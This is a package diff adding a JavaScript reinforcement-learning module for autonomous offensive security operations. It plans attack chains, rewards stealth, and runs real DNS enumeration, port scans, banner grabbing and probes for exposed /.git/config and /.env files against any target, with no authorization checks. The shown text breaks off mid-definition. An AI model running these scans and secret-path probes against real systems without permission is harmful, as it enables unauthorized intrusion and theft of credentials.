erosolar-cli 2.1.238 → 2.1.239

package/dist/tools/tao/rl.js

@@ -0,0 +1,2998 @@
+/**
+ * Tao Tools - Unified Reinforcement Learning System
+ *
+ * Single consolidated RL module for offensive security operations.
+ * Combines dual-agent RL, technique registry, attack chain planning,
+ * and security-specific reward shaping.
+ *
+ * Architecture:
+ * - Dual-Agent System: Red (offensive) and Blue (defensive/validation) agents
+ * - UCB1 Multi-Armed Bandit for action selection
+ * - Softmax policy with temperature for exploration/exploitation
+ * - TD(λ) value updates with eligibility traces
+ * - Policy gradient (REINFORCE) for continuous learning
+ * - Modular technique registry with kill-chain alignment
+ * - Security-specific reward shaping (stealth, success, evasion)
+ */
+import { sessionState } from './sessionState.js';
+import * as dns from 'node:dns/promises';
+import * as net from 'node:net';
+import * as https from 'node:https';
+import * as http from 'node:http';
+import { exec } from 'node:child_process';
+import { promisify } from 'node:util';
+const execAsync = promisify(exec);
+// ═══════════════════════════════════════════════════════════════════════════════
+// Global Dual-Agent RL State
+// ═══════════════════════════════════════════════════════════════════════════════
+export const dualAgentRL = {
+    red: {
+        weights: new Map(),
+        bias: new Map(),
+        temperature: 1.0,
+        learningRate: 0.01,
+    },
+    blue: {
+        weights: new Map(),
+        bias: new Map(),
+        temperature: 1.0,
+        learningRate: 0.01,
+    },
+    sharedMemory: new Map(),
+    episode: 0,
+    stepCount: 0,
+    rewardHistory: [],
+    valueEstimates: new Map(),
+};
+// ═══════════════════════════════════════════════════════════════════════════════
+// UCB1 Multi-Armed Bandit
+// Formula: argmax[Q(a) + c * √(ln(N) / N(a))]
+// ═══════════════════════════════════════════════════════════════════════════════
+export function ucb1Select(actions, qValues, counts, totalCount, c = Math.SQRT2) {
+    let bestAction = actions[0] || 'default';
+    let bestUcb = -Infinity;
+    for (const action of actions) {
+        const q = qValues.get(action) || 0;
+        const n = counts.get(action) || 0;
+        if (n === 0)
+            return action; // Explore unvisited
+        const exploitation = q;
+        const exploration = c * Math.sqrt(Math.log(totalCount) / n);
+        const ucb = exploitation + exploration;
+        if (ucb > bestUcb) {
+            bestUcb = ucb;
+            bestAction = action;
+        }
+    }
+    return bestAction;
+}
+// ═══════════════════════════════════════════════════════════════════════════════
+// Softmax Policy with Temperature
+// π(a|s) = exp(Q(s,a)/τ) / Σ exp(Q(s,a')/τ)
+// ═══════════════════════════════════════════════════════════════════════════════
+export function softmaxPolicy(qValues, temperature) {
+    const actions = Object.keys(qValues);
+    const maxQ = Math.max(...Object.values(qValues), 0);
+    const expValues = {};
+    let sumExp = 0;
+    for (const action of actions) {
+        const expV = Math.exp(((qValues[action] || 0) - maxQ) / temperature);
+        expValues[action] = expV;
+        sumExp += expV;
+    }
+    const policy = {};
+    for (const action of actions) {
+        policy[action] = (expValues[action] || 0) / (sumExp || 1);
+    }
+    return policy;
+}
+// ═══════════════════════════════════════════════════════════════════════════════
+// TD(λ) Value Update with Eligibility Traces
+// V(s) ← V(s) + α * δ * e(s)
+// δ = r + γ * V(s') - V(s)
+// ═══════════════════════════════════════════════════════════════════════════════
+export function tdLambdaUpdate(agent, state, reward, nextState, valueEstimates, gamma = 0.99, lambda = 0.9) {
+    const v = valueEstimates.get(state) || 0;
+    const vNext = valueEstimates.get(nextState) || 0;
+    const tdError = reward + gamma * vNext - v;
+    // Update with eligibility trace decay
+    const eligibility = agent.weights.get('_eligibility') || [];
+    const newEligibility = eligibility.map(e => gamma * lambda * e);
+    newEligibility.push(1.0); // Current state trace
+    agent.weights.set('_eligibility', newEligibility.slice(-100));
+    // Apply update
+    valueEstimates.set(state, v + agent.learningRate * tdError);
+}
+// ═══════════════════════════════════════════════════════════════════════════════
+// Policy Gradient (REINFORCE)
+// ∇θ J(θ) = E[∇θ log π(a|s;θ) * R]
+// ═══════════════════════════════════════════════════════════════════════════════
+export function policyGradientUpdate(agent, action, reward, baseline = 0) {
+    const weights = agent.weights.get(action) || [0];
+    const advantage = reward - baseline;
+    // Update weights in direction of gradient
+    const updatedWeights = weights.map((w, _i) => {
+        const grad = advantage * (1 - (agent.bias.get(action) || 0.5));
+        return w + agent.learningRate * grad;
+    });
+    agent.weights.set(action, updatedWeights);
+    // Update bias term
+    const currentBias = agent.bias.get(action) || 0.5;
+    agent.bias.set(action, Math.max(0.01, Math.min(0.99, currentBias + agent.learningRate * advantage * 0.1)));
+}
+// ═══════════════════════════════════════════════════════════════════════════════
+// RL Context Creation
+// ═══════════════════════════════════════════════════════════════════════════════
+export function createRLContext(toolName, action, params) {
+    return {
+        toolName,
+        action,
+        params,
+        startTime: Date.now(),
+    };
+}
+// ═══════════════════════════════════════════════════════════════════════════════
+// Generic Reward Computation
+// ═══════════════════════════════════════════════════════════════════════════════
+export function computeReward(context, result, success) {
+    const elapsed = Date.now() - context.startTime;
+    const components = {
+        success: success ? 0.5 : -0.3,
+        efficiency: Math.max(0, 1 - elapsed / 10000) * 0.2,
+        novelty: Math.random() * 0.1,
+        depth: (context.params['depth'] || 1) * 0.05,
+    };
+    if (typeof result === 'string') {
+        components['richness'] = Math.min(result.length / 1000, 0.3);
+    }
+    else if (typeof result === 'object' && result !== null) {
+        components['structure'] = Object.keys(result).length * 0.02;
+    }
+    const value = Object.values(components).reduce((a, b) => a + b, 0);
+    return {
+        value: Math.max(-1, Math.min(1, value)),
+        components,
+        sparse: success && elapsed < 1000,
+    };
+}
+// ═══════════════════════════════════════════════════════════════════════════════
+// Security-Specific Reward Shaping
+// ═══════════════════════════════════════════════════════════════════════════════
+export function computeSecurityReward(params) {
+    const { techniqueId, result, intent, executionResult, chainProgress } = params;
+    const technique = techniqueRegistry.get(techniqueId);
+    const components = {};
+    // Core Success
+    components['success'] = result.success ? 0.4 : -0.3;
+    // Stealth
+    if (intent.constraints.includes('stealth')) {
+        const stealthScore = 1 - result.detectionRisk;
+        components['stealth'] = stealthScore * 0.25;
+        if (technique) {
+            components['stealth_technique'] = technique.stealthRating * 0.1;
+        }
+    }
+    // Efficiency
+    if (technique && result.duration > 0) {
+        const efficiencyRatio = Math.min(technique.timeEstimate / result.duration, 2);
+        components['efficiency'] = (efficiencyRatio - 1) * 0.15;
+    }
+    // Intelligence Gathering
+    components['intelligence'] = Math.min(result.artifacts.length * 0.05, 0.2);
+    // Chain Progress
+    components['chain_progress'] = chainProgress * 0.2;
+    // Verification Confidence
+    components['verification'] = (executionResult.confidence - 0.5) * 0.2;
+    // Technique Chaining
+    if (result.nextTechniques.length > 0) {
+        components['chaining'] = Math.min(result.nextTechniques.length * 0.03, 0.15);
+    }
+    // Risk Penalty
+    if (result.detectionRisk > 0.7) {
+        components['risk_penalty'] = -0.15 * result.detectionRisk;
+    }
+    const value = Object.values(components).reduce((a, b) => a + b, 0);
+    return {
+        value: Math.max(-1, Math.min(1, value)),
+        components,
+        sparse: result.success && chainProgress >= 1.0,
+    };
+}
+// ═══════════════════════════════════════════════════════════════════════════════
+// Dual Agent Update
+// ═══════════════════════════════════════════════════════════════════════════════
+export function updateDualAgents(context, reward) {
+    dualAgentRL.stepCount++;
+    dualAgentRL.rewardHistory.push(reward.value);
+    if (dualAgentRL.rewardHistory.length > 1000) {
+        dualAgentRL.rewardHistory.shift();
+    }
+    const baseline = dualAgentRL.rewardHistory.reduce((a, b) => a + b, 0) /
+        dualAgentRL.rewardHistory.length;
+    // RED agent (offensive - seeks high reward)
+    policyGradientUpdate(dualAgentRL.red, context.action, reward.value, baseline);
+    // BLUE agent (defensive - penalizes risky actions)
+    const blueReward = (reward.components['success'] || 0) - (reward.components['novelty'] || 0) * 2;
+    policyGradientUpdate(dualAgentRL.blue, context.action, blueReward, baseline);
+    // TD update
+    const stateKey = `${context.toolName}:${context.action}`;
+    const nextStateKey = `${context.toolName}:next`;
+    tdLambdaUpdate(dualAgentRL.red, stateKey, reward.value, nextStateKey, dualAgentRL.valueEstimates);
+    // Temperature annealing
+    dualAgentRL.red.temperature = Math.max(0.1, dualAgentRL.red.temperature * 0.999);
+    dualAgentRL.blue.temperature = Math.max(0.1, dualAgentRL.blue.temperature * 0.999);
+    // Compute policies
+    const redQ = {};
+    const blueQ = {};
+    for (const [action, weights] of dualAgentRL.red.weights) {
+        if (!action.startsWith('_')) {
+            redQ[action] = weights.reduce((a, b) => a + b, 0);
+        }
+    }
+    for (const [action, weights] of dualAgentRL.blue.weights) {
+        if (!action.startsWith('_')) {
+            blueQ[action] = weights.reduce((a, b) => a + b, 0);
+        }
+    }
+    return {
+        redPolicy: softmaxPolicy(redQ, dualAgentRL.red.temperature),
+        bluePolicy: softmaxPolicy(blueQ, dualAgentRL.blue.temperature),
+    };
+}
+// ═══════════════════════════════════════════════════════════════════════════════
+// RL-Enhanced Tool Executor
+// ═══════════════════════════════════════════════════════════════════════════════
+export async function executeWithRL(toolName, action, params, executor) {
+    const context = createRLContext(toolName, action, params);
+    let result;
+    let success = true;
+    try {
+        result = await executor();
+    }
+    catch (e) {
+        success = false;
+        result = { error: String(e) };
+    }
+    const reward = computeReward(context, result, success);
+    const policies = updateDualAgents(context, reward);
+    return {
+        result,
+        rl: {
+            reward,
+            policies: {
+                red: policies.redPolicy,
+                blue: policies.bluePolicy,
+            },
+        },
+    };
+}
+// ═══════════════════════════════════════════════════════════════════════════════
+// RL State Visualization
+// ═══════════════════════════════════════════════════════════════════════════════
+export function getRLState() {
+    const avgReward = dualAgentRL.rewardHistory.length > 0
+        ? dualAgentRL.rewardHistory.reduce((a, b) => a + b, 0) / dualAgentRL.rewardHistory.length
+        : 0;
+    const topActions = [];
+    const allActions = new Set([...dualAgentRL.red.weights.keys(), ...dualAgentRL.blue.weights.keys()]);
+    for (const action of allActions) {
+        if (action.startsWith('_'))
+            continue;
+        const redW = (dualAgentRL.red.weights.get(action) || [0]).reduce((a, b) => a + b, 0);
+        const blueW = (dualAgentRL.blue.weights.get(action) || [0]).reduce((a, b) => a + b, 0);
+        topActions.push({ action, redWeight: redW, blueWeight: blueW });
+    }
+    topActions.sort((a, b) => Math.abs(b.redWeight) - Math.abs(a.redWeight));
+    return {
+        episode: dualAgentRL.episode,
+        steps: dualAgentRL.stepCount,
+        avgReward,
+        redTemperature: dualAgentRL.red.temperature,
+        blueTemperature: dualAgentRL.blue.temperature,
+        topActions: topActions.slice(0, 10),
+    };
+}
+// ═══════════════════════════════════════════════════════════════════════════════
+// Technique Registry
+// ═══════════════════════════════════════════════════════════════════════════════
+class TechniqueRegistry {
+    techniques = new Map();
+    categoryIndex = new Map();
+    phaseIndex = new Map();
+    successRates = new Map();
+    register(technique) {
+        this.techniques.set(technique.id, technique);
+        if (!this.categoryIndex.has(technique.category)) {
+            this.categoryIndex.set(technique.category, new Set());
+        }
+        this.categoryIndex.get(technique.category).add(technique.id);
+        if (!this.phaseIndex.has(technique.phase)) {
+            this.phaseIndex.set(technique.phase, new Set());
+        }
+        this.phaseIndex.get(technique.phase).add(technique.id);
+        this.successRates.set(technique.id, { attempts: 0, successes: 0 });
+    }
+    get(id) {
+        return this.techniques.get(id);
+    }
+    getByCategory(category) {
+        const ids = this.categoryIndex.get(category) || new Set();
+        return Array.from(ids).map(id => this.techniques.get(id)).filter(Boolean);
+    }
+    getByPhase(phase) {
+        const ids = this.phaseIndex.get(phase) || new Set();
+        return Array.from(ids).map(id => this.techniques.get(id)).filter(Boolean);
+    }
+    getCompatible(currentTechniques) {
+        const conflicts = new Set();
+        for (const techId of currentTechniques) {
+            const tech = this.techniques.get(techId);
+            if (tech) {
+                tech.conflictsWith.forEach(c => conflicts.add(c));
+            }
+        }
+        return Array.from(this.techniques.values()).filter(t => {
+            if (conflicts.has(t.id))
+                return false;
+            return t.prerequisites.every(p => currentTechniques.includes(p));
+        });
+    }
+    recordOutcome(techniqueId, success) {
+        const stats = this.successRates.get(techniqueId);
+        if (stats) {
+            stats.attempts++;
+            if (success)
+                stats.successes++;
+        }
+    }
+    getSuccessRate(techniqueId) {
+        const stats = this.successRates.get(techniqueId);
+        if (!stats || stats.attempts === 0) {
+            return this.techniques.get(techniqueId)?.successBaseline || 0.5;
+        }
+        return stats.successes / stats.attempts;
+    }
+    list() {
+        return Array.from(this.techniques.values());
+    }
+}
+export const techniqueRegistry = new TechniqueRegistry();
+// ═══════════════════════════════════════════════════════════════════════════════
+// Attack Chain Planning
+// ═══════════════════════════════════════════════════════════════════════════════
+const activeChains = new Map();
+export function planAttackChain(intent, objective) {
+    const chainId = `chain_${Date.now()}_${Math.random().toString(36).slice(2, 8)}`;
+    const phaseSequence = getPhaseSequence(intent.action);
+    const phases = phaseSequence.map((phase, index) => {
+        const availableTechniques = techniqueRegistry.getByPhase(phase);
+        const filtered = availableTechniques.filter(t => {
+            if (intent.constraints.includes('stealth') && t.stealthRating < 0.6)
+                return false;
+            if (intent.constraints.includes('non-destructive') && t.category === 'exploitation')
+                return false;
+            return true;
+        });
+        return {
+            index,
+            techniques: filtered.map(t => t.id),
+            completed: false,
+            rlScore: 0,
+        };
+    });
+    const chain = {
+        id: chainId,
+        name: `${intent.action}_${intent.targets[0] || 'target'}`,
+        objective,
+        phases,
+        currentPhase: 0,
+        state: 'planning',
+        startTime: Date.now(),
+        outcomes: [],
+    };
+    activeChains.set(chainId, chain);
+    sessionState.set(`chain:${chainId}`, chain);
+    return chain;
+}
+function getPhaseSequence(action) {
+    switch (action) {
+        case 'recon':
+            return ['reconnaissance'];
+        case 'scan':
+            return ['reconnaissance', 'weaponization'];
+        case 'enumerate':
+            return ['reconnaissance', 'weaponization'];
+        case 'exploit':
+            return ['reconnaissance', 'weaponization', 'delivery', 'exploitation'];
+        case 'extract':
+            return ['reconnaissance', 'exploitation', 'actions-on-objectives'];
+        case 'test':
+            return ['reconnaissance', 'weaponization', 'delivery'];
+        case 'monitor':
+            return ['reconnaissance', 'command-control'];
+        default:
+            return ['reconnaissance'];
+    }
+}
+export function selectNextTechnique(chain) {
+    if (chain.currentPhase >= chain.phases.length) {
+        return null;
+    }
+    const phase = chain.phases[chain.currentPhase];
+    if (!phase || phase.techniques.length === 0) {
+        return null;
+    }
+    const executedTechniques = chain.phases
+        .filter(p => p.completed && p.selectedTechnique)
+        .map(p => p.selectedTechnique);
+    const compatible = phase.techniques.filter(techId => {
+        const tech = techniqueRegistry.get(techId);
+        if (!tech)
+            return false;
+        return tech.prerequisites.every(p => executedTechniques.includes(p));
+    });
+    if (compatible.length === 0) {
+        return null;
+    }
+    const qValues = new Map();
+    const counts = new Map();
+    for (const techId of compatible) {
+        const rlValue = dualAgentRL.valueEstimates.get(`technique:${techId}`) || 0;
+        const successRate = techniqueRegistry.getSuccessRate(techId);
+        const technique = techniqueRegistry.get(techId);
+        const stealthBonus = technique ? technique.stealthRating * 0.2 : 0;
+        qValues.set(techId, rlValue * 0.4 + successRate * 0.4 + stealthBonus * 0.2);
+        counts.set(techId, dualAgentRL.sharedMemory.get(`count:${techId}`) || 0);
+    }
+    const selectedId = ucb1Select(compatible, qValues, counts, dualAgentRL.stepCount + 1, 1.5);
+    const qRecord = {};
+    qValues.forEach((v, k) => { qRecord[k] = v; });
+    const policy = softmaxPolicy(qRecord, dualAgentRL.red.temperature);
+    return {
+        id: selectedId,
+        params: { phase: phase.index, chainId: chain.id },
+        confidence: policy[selectedId] || 0,
+    };
+}
+export async function executeTechniqueInChain(chain, action, params) {
+    const technique = techniqueRegistry.get(action.id);
+    if (!technique) {
+        throw new Error(`Technique not found: ${action.id}`);
+    }
+    chain.state = 'executing';
+    const phase = chain.phases[chain.currentPhase];
+    if (phase) {
+        phase.selectedTechnique = action.id;
+    }
+    const startTime = Date.now();
+    let result;
+    try {
+        result = await technique.execute(params);
+    }
+    catch (e) {
+        result = {
+            success: false,
+            output: { error: String(e) },
+            artifacts: [],
+            nextTechniques: [],
+            detectionRisk: 0.8,
+            duration: Date.now() - startTime,
+        };
+    }
+    techniqueRegistry.recordOutcome(action.id, result.success);
+    const countKey = `count:${action.id}`;
+    const currentCount = dualAgentRL.sharedMemory.get(countKey) || 0;
+    dualAgentRL.sharedMemory.set(countKey, currentCount + 1);
+    const chainProgress = (chain.currentPhase + (result.success ? 1 : 0)) / chain.phases.length;
+    const executionResult = {
+        executed: true,
+        verified: result.success,
+        evidence: result.artifacts.map(a => `${a.type}: ${a.data.slice(0, 100)}`),
+        warnings: result.detectionRisk > 0.5 ? ['High detection risk'] : [],
+        recommendations: result.nextTechniques.map(t => `Consider: ${t}`),
+        confidence: result.success ? 0.8 : 0.3,
+    };
+    const intent = {
+        action: 'exploit',
+        targets: [params.target],
+        scope: 'host',
+        depth: params.depth,
+        techniques: [action.id],
+        outputFormat: 'actionable',
+        constraints: params.stealth ? ['stealth'] : [],
+    };
+    const reward = computeSecurityReward({
+        techniqueId: action.id,
+        result,
+        intent,
+        executionResult,
+        chainProgress,
+    });
+    const baseline = dualAgentRL.rewardHistory.length > 0
+        ? dualAgentRL.rewardHistory.reduce((a, b) => a + b, 0) / dualAgentRL.rewardHistory.length
+        : 0;
+    policyGradientUpdate(dualAgentRL.red, action.id, reward.value, baseline);
+    const blueReward = (reward.components['stealth'] || 0) +
+        (reward.components['stealth_technique'] || 0) -
+        (reward.components['risk_penalty'] || 0);
+    policyGradientUpdate(dualAgentRL.blue, action.id, blueReward, baseline);
+    const oldValue = dualAgentRL.valueEstimates.get(`technique:${action.id}`) || 0;
+    const alpha = 0.1;
+    dualAgentRL.valueEstimates.set(`technique:${action.id}`, oldValue + alpha * (reward.value - oldValue));
+    dualAgentRL.rewardHistory.push(reward.value);
+    if (dualAgentRL.rewardHistory.length > 1000) {
+        dualAgentRL.rewardHistory.shift();
+    }
+    dualAgentRL.stepCount++;
+    if (phase) {
+        phase.completed = true;
+        phase.result = result;
+        phase.rlScore = reward.value;
+    }
+    if (result.success) {
+        chain.currentPhase++;
+        if (chain.currentPhase >= chain.phases.length) {
+            chain.state = 'completed';
+        }
+    }
+    else {
+        chain.state = 'failed';
+    }
+    const outcome = {
+        id: `outcome_${Date.now()}`,
+        operation: action.id,
+        target: params.target,
+        timestamp: Date.now(),
+        duration: result.duration,
+        success: result.success,
+        effects: result.nextTechniques,
+        artifacts: result.artifacts,
+    };
+    chain.outcomes.push(outcome);
+    return { result, reward };
+}
+// ═══════════════════════════════════════════════════════════════════════════════
+// Chain Management
+// ═══════════════════════════════════════════════════════════════════════════════
+export function getChain(chainId) {
+    return activeChains.get(chainId);
+}
+export function abortChain(chainId) {
+    const chain = activeChains.get(chainId);
+    if (chain) {
+        chain.state = 'aborted';
+    }
+}
+export function listActiveChains() {
+    return Array.from(activeChains.values()).filter(c => c.state === 'planning' || c.state === 'executing');
+}
+export function getChainStats() {
+    const chains = Array.from(activeChains.values());
+    const completed = chains.filter(c => c.state === 'completed').length;
+    const failed = chains.filter(c => c.state === 'failed').length;
+    const allRewards = chains.flatMap(c => c.phases.filter(p => p.completed).map(p => p.rlScore));
+    const avgReward = allRewards.length > 0
+        ? allRewards.reduce((a, b) => a + b, 0) / allRewards.length
+        : 0;
+    const techniqueStats = new Map();
+    for (const chain of chains) {
+        for (const phase of chain.phases) {
+            if (phase.completed && phase.selectedTechnique) {
+                if (!techniqueStats.has(phase.selectedTechnique)) {
+                    techniqueStats.set(phase.selectedTechnique, { total: 0, success: 0, rewards: [] });
+                }
+                const stats = techniqueStats.get(phase.selectedTechnique);
+                stats.total++;
+                if (phase.result?.success)
+                    stats.success++;
+                stats.rewards.push(phase.rlScore);
+            }
+        }
+    }
+    const topTechniques = Array.from(techniqueStats.entries())
+        .map(([id, stats]) => ({
+        id,
+        successRate: stats.total > 0 ? stats.success / stats.total : 0,
+        avgReward: stats.rewards.length > 0
+            ? stats.rewards.reduce((a, b) => a + b, 0) / stats.rewards.length
+            : 0,
+    }))
+        .sort((a, b) => b.avgReward - a.avgReward)
+        .slice(0, 10);
+    return {
+        total: chains.length,
+        completed,
+        failed,
+        avgReward,
+        topTechniques,
+    };
+}
+// ═══════════════════════════════════════════════════════════════════════════════
+// Real Execution Helpers
+// ═══════════════════════════════════════════════════════════════════════════════
+async function tcpConnect(host, port, timeout) {
+    const start = Date.now();
+    return new Promise((resolve) => {
+        const socket = new net.Socket();
+        let banner = '';
+        socket.setTimeout(timeout);
+        socket.once('connect', () => {
+            socket.once('data', (data) => { banner = data.toString().trim().slice(0, 200); });
+            setTimeout(() => {
+                socket.destroy();
+                resolve({ open: true, latency: Date.now() - start, banner: banner || undefined });
+            }, 100);
+        });
+        socket.once('timeout', () => { socket.destroy(); resolve({ open: false, latency: Date.now() - start }); });
+        socket.once('error', () => { socket.destroy(); resolve({ open: false, latency: Date.now() - start }); });
+        socket.connect(port, host);
+    });
+}
+async function httpProbe(url, timeout) {
+    const start = Date.now();
+    return new Promise((resolve, reject) => {
+        const client = url.startsWith('https') ? https : http;
+        const req = client.request(url, { method: 'HEAD', timeout, rejectUnauthorized: false }, (res) => {
+            resolve({
+                status: res.statusCode || 0,
+                headers: res.headers,
+                server: res.headers['server'],
+                latency: Date.now() - start,
+            });
+        });
+        req.on('error', reject);
+        req.on('timeout', () => reject(new Error('timeout')));
+        req.end();
+    });
+}
+// ═══════════════════════════════════════════════════════════════════════════════
+// Built-in Technique Definitions - Real Execution
+// ═══════════════════════════════════════════════════════════════════════════════
+function registerCoreTechniques() {
+    // DNS Enumeration - Real DNS queries
+    techniqueRegistry.register({
+        id: 'dns_enum',
+        name: 'DNS Enumeration',
+        category: 'recon',
+        phase: 'reconnaissance',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.9,
+        successBaseline: 0.85,
+        timeEstimate: 5000,
+        execute: async (params) => {
+            const start = Date.now();
+            const target = params.target;
+            const artifacts = [];
+            try {
+                const [a, aaaa, ns, mx, txt, soa, cname] = await Promise.allSettled([
+                    dns.resolve4(target), dns.resolve6(target), dns.resolveNs(target),
+                    dns.resolveMx(target), dns.resolveTxt(target), dns.resolveSoa(target), dns.resolveCname(target),
+                ]);
+                if (a.status === 'fulfilled')
+                    artifacts.push({ type: 'A', data: a.value.join(', ') });
+                if (aaaa.status === 'fulfilled')
+                    artifacts.push({ type: 'AAAA', data: aaaa.value.join(', ') });
+                if (ns.status === 'fulfilled')
+                    artifacts.push({ type: 'NS', data: ns.value.join(', ') });
+                if (mx.status === 'fulfilled')
+                    artifacts.push({ type: 'MX', data: mx.value.map(r => `${r.priority} ${r.exchange}`).join(', ') });
+                if (txt.status === 'fulfilled')
+                    artifacts.push({ type: 'TXT', data: txt.value.flat().join('; ') });
+                if (soa.status === 'fulfilled')
+                    artifacts.push({ type: 'SOA', data: `${soa.value.nsname} ${soa.value.hostmaster}` });
+                if (cname.status === 'fulfilled')
+                    artifacts.push({ type: 'CNAME', data: cname.value.join(', ') });
+                if (a.status === 'fulfilled' && a.value[0]) {
+                    try {
+                        const rev = await dns.reverse(a.value[0]);
+                        artifacts.push({ type: 'PTR', data: rev.join(', ') });
+                    }
+                    catch { /* ignore */ }
+                }
+                return { success: artifacts.length > 0, output: { target, records: artifacts.length }, artifacts, nextTechniques: ['subdomain_enum', 'port_scan'], detectionRisk: 0.1, duration: Date.now() - start };
+            }
+            catch (e) {
+                return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.05, duration: Date.now() - start };
+            }
+        },
+    });
+    // Port Scanning - Real TCP connections
+    techniqueRegistry.register({
+        id: 'port_scan',
+        name: 'Port Scanning',
+        category: 'scanning',
+        phase: 'weaponization',
+        prerequisites: [],
+        conflictsWith: ['full_port_scan'],
+        stealthRating: 0.6,
+        successBaseline: 0.9,
+        timeEstimate: 30000,
+        execute: async (params) => {
+            const start = Date.now();
+            const target = params.target;
+            const timeout = params.timeout || 2000;
+            const ports = params.depth === 'quick' ? [22, 80, 443, 8080]
+                : params.depth === 'deep' ? [21, 22, 23, 25, 53, 80, 110, 135, 139, 143, 443, 445, 993, 995, 3306, 3389, 5432, 5900, 8080, 8443]
+                    : [22, 80, 443, 8080, 3306, 5432, 27017, 6379];
+            const artifacts = [];
+            const openPorts = [];
+            for (const port of ports) {
+                const result = await tcpConnect(target, port, timeout);
+                if (result.open) {
+                    openPorts.push(port);
+                    artifacts.push({ type: 'open_port', data: `${port}${result.banner ? ` - ${result.banner}` : ''} (${result.latency}ms)` });
+                }
+            }
+            return { success: true, output: { target, scanned: ports.length, open: openPorts }, artifacts, nextTechniques: openPorts.length > 0 ? ['service_enum', 'vuln_scan'] : [], detectionRisk: params.stealth ? 0.3 : 0.5, duration: Date.now() - start };
+        },
+    });
+    // Service Enumeration - Real banner grabbing
+    techniqueRegistry.register({
+        id: 'service_enum',
+        name: 'Service Enumeration',
+        category: 'enumeration',
+        phase: 'weaponization',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.7,
+        successBaseline: 0.8,
+        timeEstimate: 20000,
+        execute: async (params) => {
+            const start = Date.now();
+            const target = params.target;
+            const timeout = params.timeout || 3000;
+            const artifacts = [];
+            for (const port of [22, 80, 443, 21, 25, 3306, 5432]) {
+                const result = await tcpConnect(target, port, timeout);
+                if (result.open && result.banner)
+                    artifacts.push({ type: 'service', data: `${port}: ${result.banner}` });
+            }
+            for (const scheme of ['https', 'http']) {
+                try {
+                    const probe = await httpProbe(`${scheme}://${target}`, timeout);
+                    artifacts.push({ type: 'http_service', data: `${scheme}:// status=${probe.status} server=${probe.server || 'unknown'}` });
+                    if (probe.headers['x-powered-by'])
+                        artifacts.push({ type: 'tech', data: probe.headers['x-powered-by'] });
+                }
+                catch { /* ignore */ }
+            }
+            return { success: artifacts.length > 0, output: { target, services: artifacts.length }, artifacts, nextTechniques: ['vuln_scan', 'web_fingerprint'], detectionRisk: 0.35, duration: Date.now() - start };
+        },
+    });
+    // Web Fingerprinting - Real HTTP analysis
+    techniqueRegistry.register({
+        id: 'web_fingerprint',
+        name: 'Web Fingerprinting',
+        category: 'recon',
+        phase: 'reconnaissance',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.85,
+        successBaseline: 0.9,
+        timeEstimate: 10000,
+        execute: async (params) => {
+            const start = Date.now();
+            const url = params.target.startsWith('http') ? params.target : `https://${params.target}`;
+            const artifacts = [];
+            try {
+                const probe = await httpProbe(url, params.timeout || 5000);
+                artifacts.push({ type: 'status', data: String(probe.status) });
+                if (probe.server)
+                    artifacts.push({ type: 'server', data: probe.server });
+                if (probe.headers['x-powered-by'])
+                    artifacts.push({ type: 'powered_by', data: probe.headers['x-powered-by'] });
+                if (probe.headers['set-cookie'])
+                    artifacts.push({ type: 'cookies', data: 'present' });
+                if (probe.headers['strict-transport-security'])
+                    artifacts.push({ type: 'hsts', data: 'enabled' });
+                return { success: true, output: { url, fingerprints: artifacts.length }, artifacts, nextTechniques: ['dir_enum', 'vuln_scan'], detectionRisk: 0.15, duration: Date.now() - start };
+            }
+            catch (e) {
+                return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.1, duration: Date.now() - start };
+            }
+        },
+    });
+    // Subdomain Enumeration - Real DNS brute
+    techniqueRegistry.register({
+        id: 'subdomain_enum',
+        name: 'Subdomain Enumeration',
+        category: 'recon',
+        phase: 'reconnaissance',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.8,
+        successBaseline: 0.75,
+        timeEstimate: 15000,
+        execute: async (params) => {
+            const start = Date.now();
+            const target = params.target;
+            const prefixes = params.depth === 'quick' ? ['www', 'mail', 'ftp', 'api']
+                : ['www', 'mail', 'ftp', 'api', 'dev', 'staging', 'test', 'admin', 'portal', 'vpn', 'remote', 'cdn', 'static', 'app', 'blog'];
+            const artifacts = [];
+            for (const prefix of prefixes) {
+                try {
+                    const ips = await dns.resolve4(`${prefix}.${target}`);
+                    if (ips.length > 0)
+                        artifacts.push({ type: 'subdomain', data: `${prefix}.${target} -> ${ips.join(', ')}` });
+                }
+                catch { /* not found */ }
+            }
+            return { success: artifacts.length > 0, output: { target, found: artifacts.length }, artifacts, nextTechniques: ['port_scan', 'web_fingerprint'], detectionRisk: 0.2, duration: Date.now() - start };
+        },
+    });
+    // Vulnerability Scan - Real checks
+    techniqueRegistry.register({
+        id: 'vuln_scan',
+        name: 'Vulnerability Scan',
+        category: 'enumeration',
+        phase: 'weaponization',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.4,
+        successBaseline: 0.7,
+        timeEstimate: 60000,
+        execute: async (params) => {
+            const start = Date.now();
+            const url = params.target.startsWith('http') ? params.target : `https://${params.target}`;
+            const artifacts = [];
+            try {
+                const probe = await httpProbe(url, 5000);
+                const missing = [];
+                if (!probe.headers['strict-transport-security'])
+                    missing.push('HSTS');
+                if (!probe.headers['x-content-type-options'])
+                    missing.push('X-Content-Type-Options');
+                if (!probe.headers['x-frame-options'])
+                    missing.push('X-Frame-Options');
+                if (missing.length > 0)
+                    artifacts.push({ type: 'missing_headers', data: missing.join(', ') });
+                if (probe.headers['server'])
+                    artifacts.push({ type: 'server_disclosure', data: probe.headers['server'] });
+            }
+            catch { /* ignore */ }
+            for (const path of ['/.git/config', '/.env', '/wp-config.php.bak', '/server-status']) {
+                try {
+                    const check = await httpProbe(`${url}${path}`, 3000);
+                    if (check.status === 200)
+                        artifacts.push({ type: 'exposed_path', data: path });
+                }
+                catch { /* ignore */ }
+            }
+            return { success: true, output: { target: params.target, findings: artifacts.length }, artifacts, nextTechniques: artifacts.length > 0 ? ['exploit_attempt'] : [], detectionRisk: 0.6, duration: Date.now() - start };
+        },
+    });
+    // Directory Enumeration - Real path probing
+    techniqueRegistry.register({
+        id: 'dir_enum',
+        name: 'Directory Enumeration',
+        category: 'enumeration',
+        phase: 'weaponization',
+        prerequisites: [],
+        conflictsWith: [],
+        stealthRating: 0.5,
+        successBaseline: 0.75,
+        timeEstimate: 45000,
+        execute: async (params) => {
+            const start = Date.now();
